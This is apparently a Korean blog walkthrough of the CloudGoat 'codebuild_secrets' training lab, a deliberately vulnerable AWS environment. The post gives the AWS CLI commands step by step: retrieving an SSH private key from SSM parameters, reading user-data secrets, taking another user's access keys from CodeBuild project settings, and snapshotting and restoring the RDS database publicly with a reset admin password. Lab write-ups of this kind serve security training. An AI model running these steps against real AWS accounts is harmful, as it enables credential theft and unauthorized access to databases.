[CloudGoat] codebuild_secrets
이것저것/Cloud

[CloudGoat] codebuild_secrets

# Start

[+] start.txt

[+] goal

A pair of secret strings stored in a secure RDS database.

RDS 데이터베이스에 접근해 숨겨진 문자열을 찾아야한다.


# Exploit Scenario - Solo

step1. configure

$ aws configure --profile Solo

instance info.

$ aws ec2 describe-instances --profile Solo

security group

$ aws ec2 describe-security-groups --profile Solo

SSH

  • 22번 포트를 통해 SSH 연결을 할 수 있는 것 같아보인다.

step3. SSM

AWS SSM(System Manager)
AWS에 설치된 인프라들을 보고 관리하는 데에 사용하는 AWS 서비스
다양한 AWS 서비스들로부터 사용가능한 데이터를 볼 수 있고, AWS 리소스들을 통한 작업들을
자동화할 수 있다.
- https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html
$ aws ssm describe-parameters --profile Solo

  • 파라미터 정보들을 출력할 수 있다.
$ aws ssm get-parameter --name cg-ec2-private-key-codebuild_secrets_cgidt9wr740lv5 --profile Solo

$ cat >> private_key
$ chmod 600 private_key

파일을 직접 저장할 때는 '\n'을 진짜 뉴라인은로 바꿔줘야한다.

$ ssh -i private_key ubuntu@<ec2 instance public ip>

step4. ssh

$ sudo apt update && sudo apt install awscli -y
$ aws lambda list-functions --region us-east-1

$ sudo cat /var/lib/cloud/instances/<instance>/user-data.txt

  • rce_web_app에서와 비슷하게 user-data.txt 파일을 열어볼 수 있다.
  • database에 삽입한 sensitive_information을 볼 수 있다.

# Exploit Scenario - Calrissian

step1. configure

$ aws configure --profile Solo

step2. aws codebuild

$ aws codebuild list-projects --profile Solo

$ aws codebuild batch-get-projects --names cg-codebuild-codebuild_secrets_cgidt9wr740lv5 --profile Solo
  • "batch-get-projects": 하나 이상의 프로젝트에 대한 정보 출력
    "calrissian"이라는 다른 사용자의 access key와 secret key를 확인할 수 있다.

step3. configure -- Calrissian

$ aws configure --profile Calrissian

step4. rds -- Calrissian

$ aws rds describe-db-instances --profile Calrissian

  • database instance에 대한 정보를 출력해 볼 수 있다.
$ aws rds create-db-snapshot --db-instance-identifier cg-rds-instance-codebuild-secrets-cgidt9wr740lv5 --db-snapshot-identifier cloudgoat --profile Calrissian

  • 위에서 확인한 database instance를 복사해 저장한다.

security groups

$ aws ec2 describe-security-groups --profile Calrissian

  • 5432번 포트를 통해 통신할 수 있음을 확인했다.
$ aws rds restore-db-instance-from-db-snapshot --db-instance-identifier new-db --db-snapshot-identifier cloudgoat --db-subnet-group-name cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgidt9wr740lv5 --vpc-security-group-ids sg-0ecd1696904fda894 --publicly-accessible --region us-east-1 --profile Calrissian

  • 입력값들을 토대로 새로운 db가 생성되었다(아직 생성중이다..!)
  • 제대로 생성되고 부팅될 때까지 시간이 조오금 걸린다.
$ aws rds modify-db-instance --db-instance-identifier new-db --master-user-password supersecurepw --profile Calrissian

  • 방금 생성한 db의 master-user-password 값을 바꿔준다: 나는 supersecurepw로 만들어줬다.

step5. db

$ psql postgresql://cgadmin@new-db.c6panuvd7ek5.us-east-1.rds.amazonaws.com:5432/postgres

  • step4에서 생성한 db에 바꿔준 password로 접속할 수 있다.

 


# Analyze

Solo

  • SSM 파라미터들을 볼 수 있도록 권한 설정을 해뒀고, 이어서 SSH 키들을 볼 수 있게 되었다.
    • 이 과정 중 어떠한 값도 암호화되어 있지 않았다.
  • lambda function을 이용해 RDS 사용자 이름과 db 명을 확인할 수 있었다.
  • aws codebuild를 통해 빌드한 프로젝트를 일반사용자가 열람할 수 있으며, 해당 프로젝트의 내용이 그대로 출력되어 다른 사용자의 key를 얻을 수 있다.

Calrissian

  • RDS snapshot 기능을 이용해 db의 인증을 우회할 수 있다.
  • RDS 의 modify 명령을 이용해 admin의 password를 바꾸고 데이터베이스의 민감한 정보들까지 접근할 수 있도록 한다.
SMALL

'이것저것 > Cloud' 카테고리의 다른 글

[CloudGoat] ecs_efs_attack  (0) 2021.08.19
[CloudGoat] 6. rce_web_app  (0) 2021.08.18
[CloudGoat] 5. ec2_ssrf  (0) 2021.08.17
[CloudGoat] 4. iam_privesc_by_attachment  (0) 2021.08.17
[CloudGoat] 3. cloud_breach_s3  (0) 2021.08.16